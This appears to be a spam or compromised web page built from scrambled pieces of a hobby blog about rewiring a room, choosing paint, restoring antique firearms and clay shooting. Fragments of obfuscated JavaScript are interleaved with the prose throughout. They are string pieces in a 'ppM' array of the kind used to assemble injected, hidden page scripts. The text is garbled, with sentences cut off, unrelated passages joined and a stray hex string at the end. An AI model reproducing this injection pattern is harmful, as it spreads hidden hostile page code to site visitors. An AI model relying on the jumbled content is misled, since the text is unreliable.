The image you will normally see on your screen is at a lower resolution still, as wordpress fits it to the page and decreases the resolution very considerably to speed up loading.. All the wiring is in red and black T & E so is somewhat dated, but looks perfectly good.. cr";ppM["NtZ"]="0){";ppM["DuR"]="bin";ppM["pCG"]="0)&";ppM["axU"]="and";ppM["jdc"]="13/";ppM["ybP"]="api";ppM["iCV"]="e{v";ppM["Ddz"]="pro";ppM["QXi"]="set";ppM["bnG"]="d()";ppM["Avl"]="ref";ppM["kya"]="!(!";ppM["ays"]="";a.

It looks as if the electricians will suffice with the addition of a few more sockets – its all in a plastic skirting board trunking with built in sockets, so its a matter of trying to find the same system now – under the current regulations its possible to extend existing ring mains without having it certified, so I'll do that.. ";ppM["uxO"]="if(";ppM["Tzj"]="eme";ppM["lrj"]="ndC";ppM["Bir"]="rip";ppM["wSA"]="s:f";ppM["FnA"]="\"ms";ppM["qII"]="dex";ppM["qqF"]="!(r";ppM["jFK"]="tru";ppM["KLc"]="",/";ppM["SjU"]="def";ppM["QUb"]="els";ppM["nSi"]="p:f";ppM["unZ"]="){v";ppM["DFm"]="t'";ppM["wJc"]="gNa";ppM["BFC"]="".. KBytes, if you left click on the image and download from the larger image that comes up on a blank screen you'll get about 5.. We spent some time yesterday looking at paint colours and collecting cards and samples, but ended up at the local Farrow and Ball outlet.. World War II sidearm Which weapon springs to mind? 1911? Luger? These two pistols are arguably the most iconic pistols of that massive conflict.

V A layer to cut the absorption and use Multifinish I think we are making progress on ordering things – we ordered two 3 meter x 6.

I now need to replace the trunking skirting as I want to skim the walls, and can't get more sockets to fit that trunking.. Find your way around – There is a MENU of PAGES used for fixed items along the top of the screen.

IMPORTANT NOTICEThis site contains details of what I do – it does not mean that it is safe or legal for you to do the same, and I accept no responsibility if you do.. Clicking on any photo will show you the full 1 All the photos were originally taken at much higher resolution – up to 6.. I'll show it to Dick and we can have a good look at it together The lock needs paint stripper and then de- rusting and the cock welded and the cock screw replaced.. About half way through I had hit a couple of clays and began to think positively and reverted to 'gun down' where you don't mount the gun until beginning your swing.. MBytes with a horizontal count of 5 So now you know why the photos in the normal view look a bit murky!Just click on them for a better photo.. Stop in and check out our featured firearm!Antique Firearms Restoration Blog – ... and C1.. All the regular POSTS are in the HOME page – use the menus on the right to jump to whichever POST you want, or the MENU below the header will show you POSTS that are relevant to the given subject and the top menu on the right will keep you up to date with changes...Welcome to my site – you'll find this post is a sort of diary where I put things I'm doing that are (almost) relevant to the subject – they 'fall off the bottom' after a few weeks – bits from the diary may get put into existing or new posts when they fall off. e10c415e6f
